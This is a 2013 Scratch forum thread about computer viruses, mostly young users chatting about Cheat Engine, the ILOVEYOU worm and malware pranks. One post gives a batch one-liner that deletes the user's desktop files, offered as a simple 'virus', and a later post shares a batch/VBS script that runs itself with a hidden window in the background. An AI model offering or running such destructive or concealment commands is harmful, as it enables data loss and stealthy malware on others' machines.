Discuss Scratch

Mewly
Scratcher
1000+ posts

Computer Viruses

Srsly dunno.

And OH I SOOO need to check that virus out!!! xD
Epicness123
Scratcher
1000+ posts

Computer Viruses

Mewly wrote:

Srsly dunno.

And OH I SOOO need to check that virus out!!! xD
What virus

Sadly, my kumquats were eaten by an evil forum signature.

jfmlove6
Scratcher
100+ posts

Computer Viruses

Epicness123 wrote:

Lots of people say Cheat Engine is a virus,and lots of people say Cheat Engine is safe,I need to know the TRUTH!
cheat engine doesnt do anything other than edit the source code, nothing is gonna happen if you download it either way
no its not a virus


ZUBS CAN RIDE HIS HALF-ROASTED HORSE RIGHT BACK INTO THE MOONSHINE
——————————————————————————————————————————
Mewly
Scratcher
1000+ posts

Computer Viruses

Epicness123 wrote:

Mewly wrote:

Srsly dunno.

And OH I SOOO need to check that virus out!!! xD
What virus

A virus that my friend mentioned a few posts earlier :3
kingofdallamas
Scratcher
45 posts

Computer Viruses

lol I once got a virus from mangareader. I never went there ever again…MANGAPANDA YOU DA BEST!! okay..just wanted to say that

Some day tonight.
Epicness123
Scratcher
1000+ posts

Computer Viruses

I want someone to make the opposite of the ILOVEYOU virus,saying IHATEYOU, and when you click the program,it locks you in a picture with the Rage Face saying “GAAH,I HATE YOU!” Just thought it would be cool

Sadly, my kumquats were eaten by an evil forum signature.

Mewly
Scratcher
1000+ posts

Computer Viruses

kingofdallamas wrote:

lol I once got a virus from mangareader. I never went there ever again…MANGAPANDA YOU DA BEST!! okay..just wanted to say that

Why not MangaFox?
Mewly
Scratcher
1000+ posts

Computer Viruses

Epicness123 wrote:

I want someone to make the opposite of the ILOVEYOU virus,saying IHATEYOU, and when you click the program,it locks you in a picture with the Rage Face saying “GAAH,I HATE YOU!” Just thought it would be cool

XD whoah that would be awesome XD
daniel_j
Scratcher
100+ posts

Computer Viruses

When you get down to it, viruses are extremely easy to make.
I've made a few using languages like BASIC VB.NET batch VBS, they basically use default commands maliciously.
If your interested a virus can be as simply as this
cd “%userprofile%\desktop” && del *.* && del * && rmdir * -batch
Also, heres another example of the simplicity of it. made by me ofcourse Here.
I find viruses/trojans etc fun to make… but hey, thats just me

Last edited by daniel_j (July 14, 2013 13:53:58)

Mewly
Scratcher
1000+ posts

Computer Viruses

I believe you, but I'm still a rookie in programming and therefore don't know how to do advanced programming example C++
daniel_j
Scratcher
100+ posts

Computer Viruses

Mewly wrote:

I believe you, but I'm still a rookie in programming and therefore don't know how to do advanced programming example C++
Well, if your talking viruses, batch is a nice simple start,
nathanprocks
Scratcher
1000+ posts

Computer Viruses

daniel_j wrote:

Mewly wrote:

I believe you, but I'm still a rookie in programming and therefore don't know how to do advanced programming example C++
Well, if your talking viruses, batch is a nice simple start,
I just had an idea on how to a batch file could hide itself… I am using a Mac, but I could try it on a Windows virtual machine.
EDIT: Also, by hide, I don't mean hiding the file. I mean hiding the cmd window.

Last edited by nathanprocks (July 15, 2013 06:09:59)



My browser / operating system: Macrosoft Winding XO, Internet Exploder 6.0, Angel Player ver.:1.2.5
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nathanprocks
Scratcher
1000+ posts

Computer Viruses

nathanprocks wrote:

daniel_j wrote:

Mewly wrote:

I believe you, but I'm still a rookie in programming and therefore don't know how to do advanced programming example C++
Well, if your talking viruses, batch is a nice simple start,
I just had an idea on how a batch file could hide itself… I am using a Mac, but I could try it on a Windows virtual machine.
EDIT: Also, by hide, I don't mean hiding the file. I mean hiding the cmd window.
Oops I accidentally quoted instead of edited… I wish I could delete this and edit the other post now lol.

Last edited by nathanprocks (July 15, 2013 06:22:26)



My browser / operating system: Macrosoft Winding XO, Internet Exploder 6.0, Angel Player ver.:1.2.5
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nathanprocks
Scratcher
1000+ posts

Computer Viruses

Ok done. This isn't a virus. When clicked, a cmd window will flash and disappear. What it does is creates a vbs file which runs the batch file hidden with the first parameter set to “1” so that the batch script knows that it is hidden and goes to the label “:label_end” to close the cmd window. If this works, it will create a file called readme.txt with the contents “it works!” and pauses. If you open Task Manager you will notice the script is still running in the background.
@ECHO OFF
set temp=%~sf0
if NOT "%1"=="1" (
:CreateObject("Wscript.Shell").Run "%temp% 1",0,False
findstr "^:" "%~sf0" | findstr /i /v ":label">temp.vbs & cscript //nologo temp.vbs & del temp.vbs
goto label_end
)

rem your script goes here
echo it works! > readme.txt
pause

:label_end

EDIT: Please make all your labels start with “label” so the script doesn't try to run the label name as vbscript. I found the script to embed vbscript in batch here

Last edited by nathanprocks (July 15, 2013 07:29:23)



My browser / operating system: Macrosoft Winding XO, Internet Exploder 6.0, Angel Player ver.:1.2.5
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Mewly
Scratcher
1000+ posts

Computer Viruses

nathanprocks wrote:

Ok done. This isn't a virus. When clicked, a cmd window will flash and disappear. What it does is creates a vbs file which runs the batch file hidden with the first parameter set to “1” so that the batch script knows that it is hidden and goes to the label “:label_end” to close the cmd window. If this works, it will create a file called readme.txt with the contents “it works!” and pauses. If you open Task Manager you will notice the script is still running in the background.
@ECHO OFF
set temp=%~sf0
if NOT "%1"=="1" (
:CreateObject("Wscript.Shell").Run "%temp% 1",0,False
findstr "^:" "%~sf0" | findstr /i /v ":label">temp.vbs & cscript //nologo temp.vbs & del temp.vbs
goto label_end
)

rem your script goes here
echo it works! > readme.txt
pause

:label_end

EDIT: Please make all your labels start with “label” so the script doesn't try to run the label name as vbscript. I found the script to embed vbscript in batch here

OMG I love you (for programming that stuff XD or finding it)

As a rookie IT Specialist, this is heaven ;-;
I wish I could finally leave the small LOGO and start learning the C++ already XDDD
Semblance
New to Scratch
58 posts

Computer Viruses

Why don't you?

Mewly
Scratcher
1000+ posts

Computer Viruses

Semblance wrote:

Why don't you?

I'm going on a programming competition for that code, that's why :3
And my IT teacher says it's too hard now because of the math and that =3= But, I believe him.
I searched and read through some tutorials too, I agree. Oh, Semblance!!
How did you make that game??? ;-;
PikachuXionLover
Scratcher
100+ posts

Computer Viruses

The ILOVEYOU virus was probably made by someone in my country.

I am Hatty Hattington. I am also a rather weird kid.
Mewly
Scratcher
1000+ posts

Computer Viruses

PikachuXionLover wrote:

The ILOVEYOU virus was probably made by someone in my country.

Oh
PikachuXionLover
Scratcher
100+ posts

Computer Viruses

Wikipedia wrote:

The worm originated near Manila in the Philippines on May 5, 2000, thereafter following daybreak westward across the world, moving first to Hong Kong, then to Europe, and finally the US, as employees began their workday that Friday morning. The outbreak was later estimated to have caused US $5.5-8.7 billion in damages worldwide, and estimated to cost US $15 billion to remove the worm. Within ten days, over fifty million infections had been reported, and it is estimated that 10% of internet-connected computers in the world had been affected. Damage cited was mostly the time and effort spent getting rid of the infection and recovering files from backups. To protect themselves, The Pentagon, CIA, the British Parliament and most large corporations decided to completely shut down their mail systems. This virus affected over 45 million computers and was one of the world's most dangerous computer related disasters.
Manila in the Philippines

Last edited by PikachuXionLover (July 15, 2013 12:31:00)


I am Hatty Hattington. I am also a rather weird kid.

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